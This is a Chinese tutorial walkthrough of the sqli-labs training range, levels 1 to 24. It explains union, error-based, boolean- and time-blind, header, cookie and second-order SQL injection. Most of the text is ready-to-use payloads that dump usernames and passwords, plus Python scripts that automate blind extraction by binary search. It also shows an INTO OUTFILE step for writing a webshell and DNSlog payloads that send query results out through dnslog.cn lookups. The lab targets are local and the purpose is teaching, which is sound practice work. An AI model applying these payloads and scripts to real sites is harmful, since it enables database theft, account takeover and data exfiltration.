目录
一、环境准备,sql注入靶场环境网上全是保姆教程,自己搜搜,这个不进行描述
二、注入方式了解
三、正式开始注入闯关
3.1第一关(字符型注入)
3.1.1首先先测试一下字符
3.1.2尝试单引号闭合看输出什么
3.1.3试试就试试,好了输出正常,可以猜字段了
3.1.4猜字段
3.1.5猜出字段为3了以后直接联合查询
3.1.6第二种闯关(优雅型)
3.1.7比如我们使用如下命令
3.1.8结果可以见得此方法更为优雅,且不需要我们过分的去猜
3.1.9接下来就是我们爆数据了
3.2第二关 (数字型注入)
3.2.1查看源码找真知
3.2.2比较知不同
3.2.3比较已知去实践
3.2.4爆数据
3.3第三关
3.3.1通过?id=1'和?id=1判断
3.3.2过程
3.2.3结果
3.4第四关
3.4.1查看注入点
3.4.2过程
3.4.3爆出数据
3.5第五关(布尔盲注)
3.5.1首先进行单引号闭合和不闭合测试
3.5.2解决方法
3.5.2.1报错回显(这里使用了连接函数concat)
3.5.2.2先查字段
3.5.2.3再查表
3.5.2.4再通过字段(可以看到爆表了)
3.5.2.5分段截取(limit)
3.5.2.6up升级版本解法(substring)
3.6第六关
3.6.1测试注入点
3.6.2尝试注入
3.7第七关
3.7.1介绍
3.7.1.1参数
3.7.1.2secure_file_priv=必须为空ini文件
3.7.1.3修改ini文件就必须要root权限
3.7.1.4闯关
3.7.1.5导出的内容php的一句话木马执行了
3.8第八关(布尔盲注)
3.8.1测试注入点
3.8.2开始注入
3.8.3python脚本去猜(二分查找)
3.9第九关(时间盲注)
3.9.1测试注入点
3.9.2根据原理写python代码
pass1:可以用工具kill中sqlmap解决
pass1.1:查表
pass2:布尔盲注和时间盲注的区别
pass3:除了布尔盲注和时间盲注外还有什么方法可以?
3.10第十关
3.11第十一关
3.11.1我们首先进行测试乱输入很明显错误显示
3.11.2猜源码
3.11.3开始注入
最终示范:
3.12第十二关
3.12.1比较
3.13第十三关
3.13.1比较
3.14第十四关
3.14.1比较
3.15第十五关
3.15.1比较
3.15.2测试注入点
3.15.2.1成功的
3.15.2.2失败的
3.15.3解决方法:
3.15.4python代码:
3.16第十六关
3.16.1比较
3.17第十七关
3.17.1特殊点
3.18第十八关
3.18.1很明显文件头部注入:
3.18.2解决
3.19第十九关
3.19.1解决
3.20第二十关
3.20.1方法
3.21第二十一关
3.21.1解决
3.22第二十二关
3.22.1解决
3.23第二十三关
3.23.1有过滤了,特殊字符无法使用
3.24第二十四关(二次注入)
3.24.1注册
3.24.2登录验证
3.24.3查看数据库看是否入库
3.24.4问题
3.24.5实操
sql注入有很多方式其中我们最详细见到的就是:
基于错误的注入(Error-based Injection): 攻击者利用应用程序返回的错误消息来识别漏洞。通过在 SQL 查询中插入恶意代码,攻击者可以引发数据库错误,然后根据错误消息获得关于数据库结构和内容的信息。
基于联合查询的注入(Union-based Injection): 攻击者利用 UNION 查询将恶意结果合并到应用程序的原始查询结果中。通过在 SQL 查询中插入 UNION 子句,攻击者可以将额外的查询结果合并到原始结果中,从而泄露敏感信息。
基于时间的盲注(Time-based Blind Injection): 攻击者通过在 SQL 查询中插入恶意代码,利用数据库的延迟函数(如 sleep()
)来确定查询是否成功执行。通过观察应用程序在响应时间方面的差异,攻击者可以推断出数据库中的信息。
基于布尔的盲注(Boolean-based Blind Injection): 攻击者通过在 SQL 查询中插入恶意代码,利用布尔逻辑来逐位猜测查询的结果。攻击者可以通过观察应用程序在不同条件下的行为来确定数据库中的信息,例如,确定某个条件是否为真或为假。
存储过程注入(Stored Procedure Injection): 攻击者利用应用程序调用的存储过程中存在的漏洞,通过插入恶意参数执行未经授权的数据库操作。
盲注(Blind Injection): 盲注是一种攻击技术,攻击者在不知道应用程序响应的情况下进行注入攻击。攻击者可以通过观察应用程序的行为来推断数据库中的信息,例如,是否存在特定的数据或表。
而注入中也有一些爆破函数需要我们了解:
1.ST_LatFromGeoHash()(mysql>=5.7.x)(经度)
and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
2.ST_LongFromGeoHash(mysql>=5.7.x)(纬度)
and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+
3.GTID (MySQL >= 5.6.X - 显错<=200)
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
GTID_SUBSET() 和 GTID_SUBTRACT()函数
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
注入过程( payload )【基本上都是单引号闭合注入】
GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
函数都是那样,只是适用的版本不同
4.floor(8.x>mysql>5.0)(随机数)
count floor rand group by
统计 向下取整 生成随机数 分组
获取数据库版本信息
')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
select count(*), concat(version(), floor(rand(0) * 2))x from information
获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取表数据
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取users表里的段名
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
5.ST_Pointfromgeohash (mysql>=5.7)
获取数据库版本信息
')or ST_PointFromGeoHash(version(),1)--+
获取表数据
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
获取users表里的段名
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
获取字段里面的数据
')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
6 updatexml()
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
7 extractvalue
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
?id=1
?id=1',id=1
首先猜10,然后通过二分法猜5,再猜3,ok我们猜到3的时候就对了
很明显我们注入注出库,注出表,直接查询即可,可见我们第一关已经注入成功了
而这个方式不够优雅,因为列数是我们猜出来的,可以正常输出出来再mysql的默认库中information_schema
我们可以看到表中的数据就是我们想要的数据,而正因为是默认库,所以我们不用猜,我们可以实现我们的爆表,爆库查询
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +
?id=-1' union select 1,2,group_concat(username ,0x7e, password) from users--+
第二关通过查看源码我们很明显可以看到和第一关不同的点在于,第一关有单引号闭合,第二关没有,通过调试第一关代码看数据传给那个参数了,很明显传给id,看看第二关的id吧
很明显我们查询的引号不见了,如果我们继续加引号会造成无法闭合当然无法查询,(报错如下图)
当我们不去加引号闭合时
而之后的查询就跟我们之前的一样操作即可
?id=1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
?id=-1' union select 1,2,group_concat(username ,0x7e, password) from users--+
当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
?id=1')--+ ?id=1') order by 3--+ ?id=-1') union select 1,2,3--+ ?id=-1') union select 1,database(),version()--+ ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ ?id=-1') union select 1,2,group_concat(username ,0x7e, password) from users--+
3.2.3结果
跟第三关一样半闭合不闭合双引号去试试,很明显通过回显数据我们可以看到,是双引号字符型注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,0x7e, password) from users--+
?id=-1' order by 3--+
很明显第五关为单引号闭合
但是无论我们输入什么命令都是没有回显,很明显的一件事就是这一关对于请求对错出现不一样,可以说是压根不报。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
可是库出来了,数据不完整,跟我们前几关差异很大,updatexml最大容纳32个字节
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substring(group_concat(username,0x3a,password),1,32)from%20users),0x7e),1)--+
3.5.2.7(concat) 一样的道理
?id='1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
3.5.2.8(floor)通杀解法5.0-8.0
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
通过测试可以见得此关是通过双引号进行闭合的
?id=1"
可以见得此关跟第五关一样,只是闭合方式不同了
?id=1" and updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
第七关基本上实战无法完成,原因有三:
outfile的作用为导出,依靠这个参数,但这个参数为none不让你导出,除非对方项目有需求进行过更改不然此漏洞无法生效,还有一个重要的点,我们压根不知道对方的网站物理路径
自己写
有root权限我们为什么还要破漏洞?
没修改情况下
修改情况下:
?id=-1')) union select 1,2,'' into outfile "E:\\PHP\\phpan\\phpstudy_pro\\Extensions\\MySQL5.5.29"--+
虽然报语法错误但是已经导出
联合查询报错注入都不回显了,你是错的就不显示,你是对的就you are in......
从我们学过的数据结构中,很容易想到两种真和假就是布尔盲注
我们知道s的ASCII值为115,那我们就可以输入判断真假
?id=1' and ascii(substr(database(),1,1))>100--+
很明显,我们正确
那我们就可以一点一点去猜,从第一个字段往后,但是耗时耗力
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: [email protected]
@Time: 2024/2/4 2:11
@version: 1.0
"""
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
params = {"id":payload}
r = requests.get(url, params=params)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-8/index.php'
inject_database(url)
跟第八关一样,联合查询报错注入都不回显了,你是错的就不显示,你是对的就you are in......
用刚才的方法发现没有布尔的显隐了
那怎么办这个时候就要想到我们的时间盲注了
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+
回显you are in.....就会沉睡3秒,正确直接回复
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(),%d,1))>%d, sleep(2), 0)-- " % (i, mid)
params = {"id":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-9/index.php'
inject_database(url)
布尔盲注有回显一种真一种假,时间盲注没有回显,在python代码中布尔盲注看返回值,时间盲注看mysql中if函数,看其沉睡时间去判断
dnslog外带数据
使用场景比较苛刻,跟之前第七关一样,在ini文件中secure_file_priv=""必须为空,只能在windos环境下
dns环境:
1.dns环境:ceye.io
2.dnslog.cn
3.开始测试
因为在源码中有一个at符是敏感的,所以我们通过16进制进行转换,输出数据再转换回来
?id=1' and load_file(concat('\\\\',hex(user()),'.06dvr2.dnslog.cn/abc'))--+
读取文件变成读取域名了
收到解析数据了
进行解码:出现我们需要外带的数据了
数据库不需要16进制编码,直接注入即可
在第八关布尔盲注中,可以更快的外带,比二分法爆破更快
?id=1' and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.9x8qim.dnslog.cn
/abc'))--+
第十关和第九关一样,只是闭合变为双引了
从第十一关开始我们进入了一个新的请求方式下,由get请求变为post请求了
后端接到username和password后进行数据库查询
错误尝试注入加上单引号看报什么错误
很明显后面可以跟语句,那我们直接跟上union或者order by,这里我加上order by
但是结果告诉我很明显不是三列
去尝试二列,很明显我们成功了,也很简单想到,两列就是username和password
那接下来很简单了
很明显1,2随便输入我们的查询命令都是ok的
额外补充:可以使用爆破注入
username:aaa' and updatexml(1,concat(0x7e,user(),0x7e),1)#
password:随便
很明显
第十一关源码:
第十二关源码:
可以见得闭合方式变成括号了而已,没区别
没有括号的双引号一样的,相似十一关
没有回显数据了,无法使用爆破注入了,好了又是盲注了
username:admin1' and ascii(substr(database(),1,1))>100#
username:admin1' and ascii(substr(database(),1,1))>120#
用脚本去检测图的正确性
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data = {
"uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
"passwd" : 'aaaaaaa'
}
r = requests.post(url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-15/index.php'
inject_database(url)
结果:
闭合方式变为双引号加括号,其余与第十五关一致
魔术开关自动转义,我打了断点,来看看结果吧
很明显的可以看到,我们的单引号被转义了 ,单引号无法闭合前面
那就可以利用两次转义生成\\,那么转义字符便失效了,相当于where没用了,源码中username被限制了(源码打断点可以看到),因此得在password里面选择注入,折柳只能用floor
username:真正的网站都是自己注册,这个不用怕填个真实的就行
password:aaa' and (select 1 from(select count(*),concat(database(),floor(rand(0)* 2 ))as x from information_schema.tables group by x)as a)#
可以见得我成功了security,被注入出来了
通过测试和源码分析很明显注入点在ua报头
User-Agent: aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
注入点变成referer,类似十八关
确定注入点在cookie
可以见得,那我们就成功了
Cookie: uname=admin1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
无非注入点多了个base(64)编码,我们把命令进行base(64)编码注入,注入出来解码既可以
可以见得注入点之前admin1也变成了base(64)编码
admin1') and updatexml(1,concat(0x7e,database(),0x7e),1)#
闭合点变为双引号了,相同与二十一关
那该怎么闭合呢?
我们不闭合不就行了,加个and或者or不就很简单绕过了
?id=1' order by 4 and '1'='1
爆破注入也是一样的,updatexml()
假设我们先注册一个普通用户test,密码6个1
我们跳转的猜想
在代码审计中,代码中有一个函数,前面也有提到会将单引号转换为\,直接形成注释的效果。登录界面username如果有特殊字符就不会入库,我们注册一个一样名字的加单引号加井号如(admin'#),就可实现直接登录管理员效果,简单来说数据入的时候没漏洞,数据往出拿的时候漏洞出来了
代码传入后台变成了:
好的管理员密码被我们改掉了,update
当前密码:111111,新密码:222222,没修改前:
修改后:好的管理员密码被修改了
24以后关卡持续更新中~~~